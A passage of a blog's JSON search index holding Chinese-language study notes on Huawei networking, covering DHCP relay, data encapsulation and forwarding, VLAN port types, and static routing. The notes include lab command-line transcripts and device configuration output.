g0/0/0[R2-GigabitEthernet0/0/0]dhcp select global [R2-GigabitEthernet0/0/0] R1# sysname R1#dhcp enable#interface GigabitEthernet0/0/0 ip address 12.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip address 192.168.1.254 255.255.255.0 dhcp select relay // 接口下开启 DHCP 中继功能 dhcp relay server-ip 12.1.1.2 // 告知中继中的DHCP服务器的IP地址# R2# sysname R2#dhcp enable#ip pool PC gateway-list 192.168.1.254 network 192.168.1.0 mask 255.255.255.0 excluded-ip-address 192.168.1.100 192.168.1.253 lease day 0 hour 0 minute 10 dns-list 114.114.114.114 #interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0 dhcp select global##ip route-static 192.168.1.0 255.255.255.0 12.1.1.1#"},{"title":"","date":"2023-12-18T07:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/11.html","permalink":"https://blog.mhuig.top/notes/datacom/11","excerpt":"","text":"数据转发过程 数据转发过程 数据的封装和解封装传输层设备使用传输层协议进行报文封装, 填充源端口和目的端口, 标识位, 序列号等等, 之后交给网络层协议进行后续的封装. 网络层在网络层进行封装时, 要明确 IP 报文的源 IP 地址和目的 IP 地址, 并通过协议标识上一层协议, 封装完成后交给数据链路层进行封装. 数据链路层 如果访问的是同一网段的设备, 目的 MAC 不需要填写成网关设备的 MAC 地址, ARP 会直接请求目的 IP 设备的 MAC 地址. 如果访问的是其他网段的设备, 则需要通过网关转发出去, 那么就要获取到网关的 MAC 地址. 首先查看 ARP 缓存表, 如果表中记录着对应的 IP 地址和 MAC 地址的映射关系, 则直接进行二层封装. 如果没有对应的信息, 则通过 ARP 协议获取设备的 MAC 地址对二层进行封装, 填写源目 MAC, Type 字段完成后, 进行 FCS 检验填写. 物理层在数据帧前添加前导码以及定界符, 再通过 bit 流的形式在物理链路上进行传输. 解封装当设备收到一个数据帧时, 首先查看 FCS 字段, 检验数据帧是否完整, 之后再查看目的 MAC 地址, 查看数据帧是不是给自己的. 再看 IP 头部中的目的 IP 地址, 通过路由表查询去往该目的地的地址是否有对应的信息. 如果有对应的信息, 重新封装一个二层的头部和尾部. 到达最终的目的地时, 接收方会先检查 FCS 检查数据是否完整, 查看目的 MAC, 如果封装的是本设备的 MAC 地址, 通过 type 字段交给上层协议进行处理. 然后查看目的 IP 是否为本设备的 IP 地址, 如果是, 通过 Protocol 字段, 将数据交给上层协议进行处理. TCP / UDP 协议通过目的端口判断, 发送方想要访问本设备的哪种应用服务, 然后交给服务进行处理. 数据转发原理 需要先进行域名解析 向 DNS 服务器发送域名查询信息进行解析 baidu.com 对应的 IP 地址. DNS 服务器回应请求消息, 将百度服务器的 IP 地址告知 PC. DNS114 114.114.114.114阿里 223.5.5.5百度360DNS谷歌 8.8.8.8 开始封装, 在封装数据链路层时, 发现目的 IP 与源 IP 不在同一网络中, 这时通过 ARP 请求网关的 MAC 地址, 并进行封装 当数据经过交换机时, 交换机根据 MAC 地址表进行转发, 交给网关处理. 网关收到数据帧后, 进行解封装, 查看 MAC 地址为自己的 MAC 地址, 继续解封装, 发现目的 IP 地址并不是自己的 IP 地址, 需要根据路由表重新封装数据帧并转发. 服务器在收到消息后解封装处理, 最终将数据交给对应的应用服务. AR1<Huawei>sy <Huawei>system-view Enter system view, return user view with Ctrl+Z.[Huawei]sy [Huawei]sysname R1[R1]int [R1]interface g0/0/0[R1-GigabitEthernet0/0/0]ip add [R1-GigabitEthernet0/0/0]ip address 192.168.1.254 ? INTEGER<0-32> Length of IP address mask IP_ADDR<X.X.X.X> IP address mask[R1-GigabitEthernet0/0/0]ip address 192.168.1.254 24Dec 18 2023 15:34:43-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0][R1-GigabitEthernet0/0/0][R1-GigabitEthernet0/0/0]interface g0/0/1[R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1]ip address 10.1.1.254 24Dec 18 2023 15:36:09-08:00 R1 %%01IFNET/4/LINK_STATE(l)[1]:The line protocol IP on the interface GigabitEthernet0/0/1 has entered the UP state. [R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1][R1-GigabitEthernet0/0/1]q[R1]q<R1>sa <R1>save The current configuration will be written to the device. Are you sure to continue? (y/n)[n]:y It will take several minutes to save configuration file, please wait....... Configuration file had been saved successfully Note: The configuration file will take effect after being activated<R1><R1><R1><R1>syEnter system view, return user view with Ctrl+Z.[R1]dis [R1]display inter [R1]display interface g0/0/0GigabitEthernet0/0/0 current state : UPLine protocol current state : UPLast line protocol up time : 2023-12-18 15:34:43 UTC-08:00Description:HUAWEI, AR Series, GigabitEthernet0/0/0 InterfaceRoute Port,The Maximum Transmit Unit is 1500Internet Address is 192.168.1.254/24IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 00e0-fc7d-4606Last physical up time : 2023-12-18 15:21:06 UTC-08:00Last physical down time : 2023-12-18 15:20:59 UTC-08:00Current system time: 2023-12-18 15:40:47-08:00Port Mode: FORCE COPPERSpeed : 1000, Loopback: NONEDuplex: FULL, Negotiation: ENABLEMdi : AUTOLast 300 seconds input rate 456 bits/sec, 0 packets/secLast 300 seconds output rate 16 bits/sec, 0 packets/secInput peak rate 1040 bits/sec,Record time: 2023-12-18 15:39:01Output peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Input: 562 packets, 65813 bytes Unicast: 16, Multicast: 541 Broadcast: 5, Jumbo: 0 Discard: 0, Total Error: 0 CRC: 0, Giants: 0 Jabbers: 0, Throttles: 0 Runts: 0, Symbols: 0 Ignoreds: 0, Frames: 0Output: 17 packets, 1216 bytes Unicast: 15, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 Collisions: 0, ExcessiveCollisions: 0 Late Collisions: 0, Deferreds: 0 Input bandwidth utilization threshold : 100.00% Output bandwidth utilization threshold: 100.00% Input bandwidth utilization : 0% Output bandwidth utilization : 0%[R1][R1][R1]display interface g0/0/1GigabitEthernet0/0/1 current state : UPLine protocol current state : UPLast line protocol up time : 2023-12-18 15:36:09 UTC-08:00Description:HUAWEI, AR Series, GigabitEthernet0/0/1 InterfaceRoute Port,The Maximum Transmit Unit is 1500Internet Address is 10.1.1.254/24IP Sending Frames' Format is PKTFMT_ETHNT_2, Hardware address is 00e0-fc7d-4607Last physical up time : 2023-12-18 15:21:06 UTC-08:00Last physical down time : 2023-12-18 15:20:59 UTC-08:00Current system time: 2023-12-18 15:42:10-08:00Port Mode: COMMON COPPERSpeed : 1000, Loopback: NONEDuplex: FULL, Negotiation: ENABLEMdi : AUTOLast 300 seconds input rate 16 bits/sec, 0 packets/secLast 300 seconds output rate 16 bits/sec, 0 packets/secInput peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Output peak rate 472 bits/sec,Record time: 2023-12-18 15:39:01Input: 12 packets, 810 bytes Unicast: 10, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 CRC: 0, Giants: 0 Jabbers: 0, Throttles: 0 Runts: 0, Symbols: 0 Ignoreds: 0, Frames: 0Output: 11 packets, 786 bytes Unicast: 9, Multicast: 0 Broadcast: 2, Jumbo: 0 Discard: 0, Total Error: 0 Collisions: 0, ExcessiveCollisions: 0 Late Collisions: 0, Deferreds: 0 Input bandwidth utilization threshold : 100.00% Output bandwidth utilization threshold: 100.00% Input bandwidth utilization : 0% Output bandwidth utilization : 0%[R1][R1][R1]"},{"title":"","date":"2023-12-19T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/12.html","permalink":"https://blog.mhuig.top/notes/datacom/12","excerpt":"","text":"VLAN 原理与配置 VLAN 原理与配置 广播域过大造成的弊端交换机所处的位置是一个广播域. 1. 广播域的泛洪会导致网络传输效率降低. 2. 广播域过大可能会造成安全隐患. 3. 如果发生了故障很难排查. 4. 广播域过大会造成策略难以部署. 5. 会导致网络中带宽消耗过大. VLANVLAN: 虚拟局域网, 是在交换机上实现广播域隔离的一项二层技术, 每个 VLAN 就是一个广播域, VLAN 和设备的物理位置无关. 同一 VLAN 设备可以直接二层通信, 不同的 VLAN 设备相互隔离, 缺省情况下交换机属于同一个 VLAN. 不同的 VLAN 通过 VLAN 编号进行区分, VLAN 编号的取值范围 0-4095, 其中 0 和 4095 有特殊用处不能使用, 缺省 VLAN 为 1. VLAN Tag (802.1q) 数据帧源 MAC 地址和类型之间插入 VLAN Tag, 包含 VLAN ID. PVID 位于交换机接口. VLAN 的划分方式 1. 基于接口的划分: 根据交换机的接口编号来划分, 通过交换机的每一个接口配置不同的 PVID, 来将不同的接口划分到不同的 VLAN 中. 2. 基于 MAC 地址的划分. 3. 基于 IP 子网的划分. 4. 基于协议的划分. 5. 基于策略的划分. 接口Access接收当交换机收到一个没有 TAG 的数据帧时, 则接收该数据帧并根据 PVID 打上 VLANID. 当交换机接收到一个带有 TAG 的数据帧时, 当数据帧中的 VLANID 和 PVID 相同时, 接收, 不相同时, 不接收. 发送当交换机发送一个 VLANID 和 PVID 相同的数据帧时, 剥离数据帧的 TAG 发送. 当交换机发送一个 VLANID 和 PVID 不相同的数据帧时, 禁止数据帧发出. TRTUNK接收当交换机接收到一个不带 TAG 的数据帧时, 根据 PVID 打上 VLANID, 如果 VLANID 在允许放行的列表中, 则接收. 当交换机接收到一个带 TAG 的数据帧时, 查看 VLANID 是否允许通过列表里, 在则通过, 不在, 禁止通过. 发送当数据帧中 VLANID 和 PVID 相同, 该 VLANID 是否在允许通过列表中, 在则剥离 TAG 发送, 不在则丢弃. 当数据帧中 VLANID 和 PVID 不相同, 该 VLANID 是否在允许通过的列表中, 在则保留 TAG 发送, 不在则丢弃. Hybrid接收与 Trunk 端口类型一致. 发送如果该数据帧的 VLANID 不在允许通过列表中, 则禁止通过. 当数据帧的 VLANID 在允许通过列表中, 根据管理员指定该数据帧是否携带 TAG 通过. VLAN 命令Access Trunk SW1<Huawei>display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 hybrid 1 - GigabitEthernet0/0/2 hybrid 1 - GigabitEthernet0/0/3 hybrid 1 - GigabitEthernet0/0/4 hybrid 1 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - <Huawei><Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]vlan 10[Huawei-vlan10]q[Huawei]vlan 20[Huawei-vlan20]q[Huawei]undo vlan 10[Huawei]undo vlan 20[Huawei]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[Huawei]vlan batch 10 to 20Info: This operation may take a few seconds. Please wait for a moment...done.[Huawei]int g0/0/1[Huawei-GigabitEthernet0/0/1]port link-type access[Huawei-GigabitEthernet0/0/1]port default vlan 10[Huawei-GigabitEthernet0/0/1]dis th#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#return[Huawei-GigabitEthernet0/0/1]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 hybrid 1 - GigabitEthernet0/0/3 hybrid 1 - GigabitEthernet0/0/4 hybrid 1 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/1][Huawei-GigabitEthernet0/0/1]int g0/0/3[Huawei-GigabitEthernet0/0/3]port link-type access[Huawei-GigabitEthernet0/0/3]port default vlan 10[Huawei-GigabitEthernet0/0/3]int g0/0/2[Huawei-GigabitEthernet0/0/2]port link-type access[Huawei-GigabitEthernet0/0/2]port default vlan 20[Huawei-GigabitEthernet0/0/2]int g0/0/4[Huawei-GigabitEthernet0/0/4]port link-type access[Huawei-GigabitEthernet0/0/4]port default vlan 20[Huawei]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 hybrid 1 - GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei][Huawei]int g0/0/5[Huawei-GigabitEthernet0/0/5]port link-type trunk [Huawei-GigabitEthernet0/0/5]port trunk allow-pass vlan ? INTEGER<1-4094> VLAN ID all All[Huawei-GigabitEthernet0/0/5]port trunk allow-pass vlan 10 20[Huawei-GigabitEthernet0/0/5]dis this#interface GigabitEthernet0/0/5 port link-type trunk port trunk allow-pass vlan 10 20#return[Huawei-GigabitEthernet0/0/5]display port vlanPort Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 trunk 1 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/5][Huawei]int g0/0/5[Huawei-GigabitEthernet0/0/5]port trunk pvid vlan 10[Huawei-GigabitEthernet0/0/5]display port vlanPort Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 access 10 - GigabitEthernet0/0/2 access 20 - GigabitEthernet0/0/3 access 10 - GigabitEthernet0/0/4 access 20 - GigabitEthernet0/0/5 trunk 10 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [Huawei-GigabitEthernet0/0/5]<Huawei>display cu#sysname Huawei#vlan batch 10 to 20#cluster enablentdp enablendp enable#drop illegal-mac alarm#diffserv domain default#drop-profile default#aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin local-user admin password simple admin local-user admin service-type http#interface Vlanif1#interface MEth0/0/1#interface GigabitEthernet0/0/1 port link-type access port default vlan 10#interface GigabitEthernet0/0/2 port link-type access port default vlan 20#interface GigabitEthernet0/0/3 port link-type access port default vlan 10#interface GigabitEthernet0/0/4 port link-type access port default vlan 20#interface GigabitEthernet0/0/5 port link-type trunk port trunk pvid vlan 10 port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/6 SW2<Huawei>dis cu#sysname Huawei#vlan batch 10 20#interface GigabitEthernet0/0/1 port link-type trunk port trunk pvid vlan 10 port trunk allow-pass vlan 10 20#interface GigabitEthernet0/0/2 port link-type access port default vlan 10#interface GigabitEthernet0/0/3 port link-type access port default vlan 20#<Huawei> [Huawei]vlan batch 10 20 // 同时创建vlan 10 20[Huawei-GigabitEthernet0/0/x]port link-type access // 端口类型改为access[Huawei-GigabitEthernet0/0/x]port default vlan xx // 默认 vlan 为xx[Huawei-GigabitEthernet0/0/x]port link-type trunk // 端口类型改为trunk[Huawei-GigabitEthernet0/0/x]port trunk allow-pass vlan 10 20 // 允许通过列表 10 20[Huawei-GigabitEthernet0/0/x]port trunk pvid vlan 10 // 更改 pvid 为 VLAN10 Hybrid SW1<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy SW1[SW1]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[SW1]int g0/0/3[SW1-GigabitEthernet0/0/3]port hybrid pvid vlan 10[SW1-GigabitEthernet0/0/3]port hybrid untagged vlan 10[SW1-GigabitEthernet0/0/3]dis this #interface GigabitEthernet0/0/3 port hybrid pvid vlan 10 port hybrid untagged vlan 10#return[SW1-GigabitEthernet0/0/3]int g0/0/1[SW1-GigabitEthernet0/0/1]port link-type hybrid [SW1-GigabitEthernet0/0/1]port hybrid pvid vlan 10[SW1-GigabitEthernet0/0/1]port hybrid untagged vlan 10[SW1-GigabitEthernet0/0/3]int g0/0/2[SW1-GigabitEthernet0/0/2]port link-type hybrid [SW1-GigabitEthernet0/0/2]port hybrid pvid vlan 20[SW1-GigabitEthernet0/0/2]port hybrid untagged vlan 20[SW1-GigabitEthernet0/0/2]int g0/0/4[SW1-GigabitEthernet0/0/4]port link-type hybrid [SW1-GigabitEthernet0/0/4]port hybrid pvid vlan 20[SW1-GigabitEthernet0/0/4]port hybrid untagged vlan 20[SW1]int g0/0/5[SW1-GigabitEthernet0/0/5]port link-type hybrid [SW1-GigabitEthernet0/0/5]port hybrid ? pvid Specify current port's PVID VLAN characteristics tagged Tagged untagged Untagged vlan Virtual LAN[SW1-GigabitEthernet0/0/5]port hybrid tagged vlan 10 20[SW1-GigabitEthernet0/0/5]display port vlan Port Link Type PVID Trunk VLAN List-------------------------------------------------------------------------------GigabitEthernet0/0/1 hybrid 10 - GigabitEthernet0/0/2 hybrid 20 - GigabitEthernet0/0/3 hybrid 10 - GigabitEthernet0/0/4 hybrid 20 - GigabitEthernet0/0/5 hybrid 1 10 20GigabitEthernet0/0/6 hybrid 1 - GigabitEthernet0/0/7 hybrid 1 - GigabitEthernet0/0/8 hybrid 1 - GigabitEthernet0/0/9 hybrid 1 - GigabitEthernet0/0/10 hybrid 1 - GigabitEthernet0/0/11 hybrid 1 - GigabitEthernet0/0/12 hybrid 1 - GigabitEthernet0/0/13 hybrid 1 - GigabitEthernet0/0/14 hybrid 1 - GigabitEthernet0/0/15 hybrid 1 - GigabitEthernet0/0/16 hybrid 1 - GigabitEthernet0/0/17 hybrid 1 - GigabitEthernet0/0/18 hybrid 1 - GigabitEthernet0/0/19 hybrid 1 - GigabitEthernet0/0/20 hybrid 1 - GigabitEthernet0/0/21 hybrid 1 - GigabitEthernet0/0/22 hybrid 1 - GigabitEthernet0/0/23 hybrid 1 - GigabitEthernet0/0/24 hybrid 1 - [SW1-GigabitEthernet0/0/5]<SW1>display cu#sysname SW1#vlan batch 10 20#interface GigabitEthernet0/0/1 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/2 port hybrid pvid vlan 20 port hybrid untagged vlan 20#interface GigabitEthernet0/0/3 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/4 port hybrid pvid vlan 20 port hybrid untagged vlan 20#interface GigabitEthernet0/0/5 port hybrid tagged vlan 10 20# SW2<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy SW2[SW2]vlan batch 10 20Info: This operation may take a few seconds. Please wait for a moment...done.[SW2][SW2]int g0/0/1[SW2-GigabitEthernet0/0/1]port hybrid tagged vlan 10 20[SW2-GigabitEthernet0/0/1]int g0/0/2[SW2-GigabitEthernet0/0/2]port link-type hybrid [SW2-GigabitEthernet0/0/2]port hybrid pvid vlan 10[SW2-GigabitEthernet0/0/2]port hybrid untagged vlan 10[SW2-GigabitEthernet0/0/2]int g0/0/3[SW2-GigabitEthernet0/0/3]port link-type hybrid [SW2-GigabitEthernet0/0/3]port hybrid pvid vlan 20[SW2-GigabitEthernet0/0/3]port hybrid untagged vlan 20<SW2>display cu#sysname SW2#vlan batch 10 20#interface GigabitEthernet0/0/1 port hybrid tagged vlan 10 20#interface GigabitEthernet0/0/2 port hybrid pvid vlan 10 port hybrid untagged vlan 10#interface GigabitEthernet0/0/3 port hybrid pvid vlan 20 port hybrid untagged vlan 20#"},{"title":"","date":"2023-12-20T06:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/13.html","permalink":"https://blog.mhuig.top/notes/datacom/13","excerpt":"","text":"IP 路由基础 IP 路由基础 路由路由: 指导报文转发的路径信息, 通过路由可以确认 IP 报文的转发路径. 路由表: 路由信息库 (RIB) 每台路由器都维护着一张全局路由表, 另外路由器所运行的每种路由协议也维护着自己的路由表. 路由器可以通过多种途径获取路由信息, 获取的路由信息会先存储在协议自己的路由表中, 然后路由器根据协议的优先级等信息来进行路由优选, 并将优选路由加载到全局路由表中. 转发表: 转发信息库 (FIB) 数据包根据路由转发需要下一跳地址和出接口. 如果路由表中有匹配的路由条目, 则根据条目中的出接口或下一跳信息进行报文转发. 如果路由表内没有该路由信息, 则丢弃数据包. 路由表字段内容[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 4 Routes : 4 Destination/Mask Proto Pre Cost Flags NextHop Interface 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1] Destination / Mask: 目的和掩码. Protocol: 该路由通过哪种方式学习到的. Preference: 优先级, 当路由器通过不同方式学习到相同的路由时, 会比较不同协议之间的优先级, 优先级数值越小, 优先级越高. Cost: 开销, 到达目的网段所花费的开销, 路由信息通过不同的方式学习到的路由, 对于开销的计算方式也不同, 不同协议之间的开销没有可比性, 数据越小越优先. Flags: 标记, 标明当前路由的状态. D: 已经将该路由条目下载到转发表中. R: 迭代出的路由. NextHop: 下一跳, 标明数据从设备出发后, 应交给下一台哪个设备. Interface: 标明数据从该设备的哪个接口发送出去. 路由表的构建方式 (学习到路由的方式)1. 直连路由 (direct): 路由器直接相连的网络. 优先级 0. 1. 路由器的接口正确的配置了 IP 地址. 2. 接口的物理层状态为 UP. 2. 静态路由 (static): 由管理员手工添加的路由信息. 优先级 60. 1. 下一跳必须可达 (或出接口状态必须 UP). 2. 没有优先级更高的路由. 3. 动态路由: 路由器通过动态路由协议自动计算得到的路由. 可以根据网络变化自动的进行路由表的改变. 动态路由协议: OSPF, RIP, IS-IS, BGP. OSPF 优先级: 10 或 150, 协议号 89. RIP 优先级: 100, 端口号 520. 路由选路原则1. 如果一条路由是当前去往目的地的唯一路径信息, 则直接优选. 1.5. 最长掩码匹配原则. 2. 比较优先级, 不同的协议拥有不同的优先级, 优先级数据越小越优. 3. 比较路由开销, 越小越优. 4. 如果以上信息无法确定最优路径, 则会进行负载分担. 最长掩码匹配原则: 如果路由表中有两条目的网段相同的路由条目, 掩码越长 (所匹配的越多), 表示网段越精准, 所以掩码越长越优. 目的地: 192.168.1.1 路径: 192.168.1.0/24 192.168.1.0/16 192.168.1.0/29 (v) 20.1.0.0/16 OSPF 10 200 (v) 20.1.0.0/14 RIP 100 3 静态路由静态路由网络管理员手动配置, 配置方便, 对系统要求低, 适用于拓扑结构简单并且稳定的小型网络. 缺点是不能自动适应网络拓扑的变化需要人工干预. 静态路必须由网络管理员手动添加, 适用于小型网络或网络结构相对稳定的网络. 当网络拓扑发生改变时需要管理员手动进行调整. R1<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei] sy R1[R1]int g0/0/0[R1-GigabitEthernet0/0/0]ip add 192.168.1.254 24[R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 12.1.1.1 24[R1-GigabitEthernet0/0/1]q[R1]display ip interface brief *down: administratively down^down: standby(l): loopback(s): spoofingThe number of interface that is UP in Physical is 3The number of interface that is DOWN in Physical is 1The number of interface that is UP in Protocol is 3The number of interface that is DOWN in Protocol is 1Interface IP Address/Mask Physical Protocol GigabitEthernet0/0/0 192.168.1.254/24 up up GigabitEthernet0/0/1 12.1.1.1/24 up up GigabitEthernet0/0/2 unassigned down down NULL0 unassigned up up(s) [R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 10 Routes : 10 Destination/Mask Proto Pre Cost Flags NextHop Interface 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/1 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 192.168.1.0/24 Direct 0 0 D 192.168.1.254 GigabitEthernet0/0/0 192.168.1.254/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 192.168.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]ip route-static ? IP_ADDR<X.X.X.X> Destination IP address default-preference Preference-value for IPv4 static-routes selection-rule Selection rule vpn-instance VPN-Instance route information[R1]ip route-static 192.168.2.0 ? INTEGER<0-32> Length of IP address mask IP_ADDR<X.X.X.X> IP address mask[R1]ip route-static 192.168.2.0 24 ? IP_ADDR<X.X.X.X> Gateway address Cellular Cellular interface GigabitEthernet GigabitEthernet interface NULL NULL interface vpn-instance Destination VPN-Instance for Gateway address[R1]ip route-static 192.168.2.0 24 12.1.1.2[R1]dis th[V200R003C00]# sysname R1# snmp-agent local-engineid 800007DB03000000000000 snmp-agent # clock timezone China-Standard-Time minus 08:00:00#portal local-server load portalpage.zip# drop illegal-mac alarm# set cpu-usage threshold 80 restore 75#ip route-static 192.168.2.0 255.255.255.0 12.1.1.2#return[R1] R2<Huawei>syEnter system view, return user view with Ctrl+Z.[Huawei]sy R2[R2]int g0/0/1[R2-GigabitEthernet0/0/1]ip add 192.168.2.254 24[R2-GigabitEthernet0/0/1]int g0/0/0[R2-GigabitEthernet0/0/0]ip add 12.1.1.2 24[R2-GigabitEthernet0/0/0]dis ip int br*down: administratively down^down: standby(l): loopback(s): spoofingThe number of interface that is UP in Physical is 3The number of interface that is DOWN in Physical is 1The number of interface that is UP in Protocol is 3The number of interface that is DOWN in Protocol is 1Interface IP Address/Mask Physical Protocol GigabitEthernet0/0/0 12.1.1.2/24 up up GigabitEthernet0/0/1 192.168.2.254/24 up up GigabitEthernet0/0/2 unassigned down down NULL0 unassigned up up(s) [R2]ip route-static 192.168.1.0 24 12.1.1.1[R2]dis th[V200R003C00]# sysname R2# snmp-agent local-engineid 800007DB03000000000000 snmp-agent # clock timezone China-Standard-Time minus 08:00:00#portal local-server load portalpage.zip# drop illegal-mac 